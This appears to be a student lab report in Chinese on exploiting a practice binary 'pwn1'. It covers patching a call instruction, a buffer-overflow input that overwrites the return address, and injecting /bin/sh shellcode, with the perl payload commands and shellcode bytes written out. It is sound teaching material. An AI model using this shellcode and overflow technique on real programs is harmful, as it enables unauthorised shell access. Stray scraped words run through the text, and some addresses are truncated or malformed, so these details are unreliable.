2018-2019-2 20165234 《網絡對抗技術》 Exp1 PC平臺逆向破解

 

 

實驗一 PC平臺逆向破解

 

實驗目的

  • 本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。編程

實驗內容

  • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  • 注入一個本身製做的shellcode並運行這段shellcode。

相關內容機器碼

  • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
  • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
  • JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
  • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
  • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

實驗步驟

(一)直接修改程序機器指令,改變程序執行流程

  • 建立文件夾20165234_exp1 ,將pwn1放入其中
  • 使用 objdump -d pwn1 將pwn1反彙編,獲得如下代碼windows

其中 80484b5: e8 d7 ff ff ff call 8048491 <foo> 這條彙編指令,e8表示「 call 」,在main函數中調用位於地址 8048491 處的foo函數。sass

若是想函數調用getShell,只須要修改 d7 ff ff ff 便可。安全

根據foo函數與getShell地址的偏移量,用Windows計算器經過 47d-4ba 就能獲得補碼,可計算出應爲 c3 ff ff ff 。函數

修改可執行文件的具體步驟

  • 輸入命令  cp pwn1 pwn2 對pwn1中的內容進行拷貝至pwn2
  • 用 vi 打開pwn2,進入命令模式,輸入%!xxd 將顯示模式切換爲十六進制
  • 在底行模式輸入 /d7 定位須要修改的地方,並確認
  • 進入插入模式,修改 d7 爲 c3 
  • 輸入%!xxd -r 將十六進制轉換爲原格式
  • 使用 :wq 保存並退出

在此我選擇嘗試另外一種方式,即便用圖形化的16進制編程器:工具

輸入 apt-get install wxhexeditor , wxHexEditor 兩個命令便可安裝
學習

經過此工具也查找到了要修改的內容,修改D7爲C3,而後保存並退出spa

輸入  objdump -d pwn2 | more  反彙編pwn2文件中的main函數,查看是否正確調用get shell函數

運行修改後的代碼,能夠獲得shell提示符#。

修改爲功,調用了getshell~

(二)經過構造輸入參數,形成BOF攻擊

1.確認輸入字符串哪幾個字符會覆蓋到返回地址

  • 經過gdb命令,調試文件pwn1。
  • 輸入 1111111122222222333333334444444455555555 ,出現Segmentation Fault,說明緩衝區溢出。

經過 info r 命令查看當前寄存器狀態,發現EIP寄存器被0x35353535覆蓋,即當前返回地址爲5555(0x35是ASCII碼,表明十進制中的5)

說明剛輸入的40個字符中,含有5的字符串溢出到了EIP中。

  • 輸入字符串 1111111122222222333333334444444412345678 ,結果發現1234這四個數最終會覆蓋到堆棧上的返回地址

只要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。

2.確認用什麼值來覆蓋返回地址

由反彙編結果可知getShell的內存地址爲:0x080484

確認字節序後,應該輸入11111111222222223333333344444444\x7d\x84\x04\x08

3.構造輸入字符串

  • 使用 perl 命令生成包括這樣字符串的一個文件。其中 \x0a 表示回車。

 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 

  • 使用16進制查看指令xxd, 經過 xxd input 查看input文件的內容。
  • 將input輸入經過管道符「|」做爲輸入,指令爲 (cat input ) | ./pwn1 ,運行後就進入了getShell函數~

(三)注入Shellcode並執行

shellcode

shellcode就是一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。

1.準備工做

首先使用 apt-get install execstack 命令安裝 execstack 。

而後修改一些設置。

2.構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。

緩衝區小就用前一種方法,緩衝區大就用後一種方法。

這裏咱們選擇前一種方法,即retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1)

  • 執行如下指令:
perl -e 'print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' 
> input_shellcode
  • 爲了肯定\x4\x3\x2\x1該填什麼,首先打開一個終端,使用指令(cat input_shellcode;cat) | ./pwn1注入這段攻擊buf。
  • 再打開另一個終端,使用指令 ps -ef | grep pwn1 查看pwn1這個進程,發現進程號爲16262。

  • 接下來用gdb來調試pwn1這個進程。輸入命令disassemble foo ,經過設置斷點來查看注入buf的內存地址。
  • 使用 break *0x080484ae 設置斷點,並輸入 c 繼續運行。在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用 info r esp 查找地址。

 x/16x 0xbffffd37c 查看其存放內容,看到了0x9080cd0b,就是返回地址的位置。

實驗收穫

經過本次實驗,理解了緩衝區溢出攻擊的具體原理,實際的操做中從程序內部函數的跳轉到最後的shellcode注入一系列流程。因爲個人基礎較薄弱,對於彙編語言和Linux操做的知識並非很熟悉,而這次實驗讓我熟悉了相關的知識,併爲之後的實驗打下了基礎。經過查看老師的教程,上網查閱資料,參考同窗的博客等方式,我仍是較爲順利地完成了實驗,而且充分了解了相關的原理。整體來講,個人收穫很大~

什麼是漏洞?

漏洞就是某種安全隱患,好比說操做系統、硬件、軟件等等,其中多少會存在不一樣的安全隱患,並且能夠被他人利用。

漏洞的危害小則影響我的,可能會形成我的隱私信息的泄露,乃至引發經濟損失;

大則能夠引發整個國家的嚴重損失,可能泄露國家祕密信息,危害國家安全。

相關文章
相關標籤/搜索